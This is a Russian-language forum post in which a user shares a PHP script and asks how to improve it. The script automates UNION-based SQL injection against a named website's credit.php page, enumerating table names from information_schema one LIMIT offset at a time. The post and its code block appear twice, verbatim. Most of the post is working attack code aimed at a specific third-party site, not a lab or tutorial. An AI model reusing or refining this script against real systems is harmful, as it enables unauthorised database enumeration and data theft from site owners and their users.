Termin@L
21.02.2007, 16:58
Я бы поместил этот скрипт в соответствующий раздел, но он не доработан, т.к он достаточно короткий, то коментариев не писал, вроде всё понятно, суть его такова, все знают что в мускуле 5 появилась information_schema.tables - крайне полезная вещь, так вот иногда очень влом перебирать все таблицы в ручную, поэтому я решил написать прогу, которая сама это делает, от вас требуется указать адрес как в примере, примерное кол-во таблиц и слово стоящее в строке с печатаемым полем...
А теперь вопрос - как сделать, чтобы после нахождения на странице 1 необходимого слова, начиналась проверяться следующая, другой вопрос - как сделать так, чтобы функция strpos() искала и хтмл-теги.
<?php
$host='www.vera-nn.ru';
$url='http://www.vera-nn.ru/credit.php?id=-1+union+select+table_name%20from%20information_sch ema.tables';
$amt=5;
$nrst='Кредит';
for($it=0;$it<$amt;$it++){
$itt=$it+1;
$url1=$url."%20limit%20$it,$itt/*";
$fin=fsockopen($host,80);
fputs($fin,"GET $url1 / HTTP/1.1\r\n");
fputs($fin,"Hostname: $host\r\n");
fputs($fin,"Connection: close\r\n");
fputs($fin,"\r\n");
while(!feof($fin))
$ans[]=fgets($fin);
fclose($fin);
for($i=0;$i<sizeof($ans);$i++){
$srch=$ans[$i];
$tst=strpos($srch,$nrst);
if(!empty($tst))
$res[]=$ans[$i];
unset($tst);
}
echo "$it done\n";
}
for($i=0;$i<sizeof($res);$i++)
echo "$res[$i]\n";
?>
P.S. Ну или хотябы как очистить массив $res от повторений?
А теперь вопрос - как сделать, чтобы после нахождения на странице 1 необходимого слова, начиналась проверяться следующая, другой вопрос - как сделать так, чтобы функция strpos() искала и хтмл-теги.
<?php
$host='www.vera-nn.ru';
$url='http://www.vera-nn.ru/credit.php?id=-1+union+select+table_name%20from%20information_sch ema.tables';
$amt=5;
$nrst='Кредит';
for($it=0;$it<$amt;$it++){
$itt=$it+1;
$url1=$url."%20limit%20$it,$itt/*";
$fin=fsockopen($host,80);
fputs($fin,"GET $url1 / HTTP/1.1\r\n");
fputs($fin,"Hostname: $host\r\n");
fputs($fin,"Connection: close\r\n");
fputs($fin,"\r\n");
while(!feof($fin))
$ans[]=fgets($fin);
fclose($fin);
for($i=0;$i<sizeof($ans);$i++){
$srch=$ans[$i];
$tst=strpos($srch,$nrst);
if(!empty($tst))
$res[]=$ans[$i];
unset($tst);
}
echo "$it done\n";
}
for($i=0;$i<sizeof($res);$i++)
echo "$res[$i]\n";
?>
P.S. Ну или хотябы как очистить массив $res от повторений?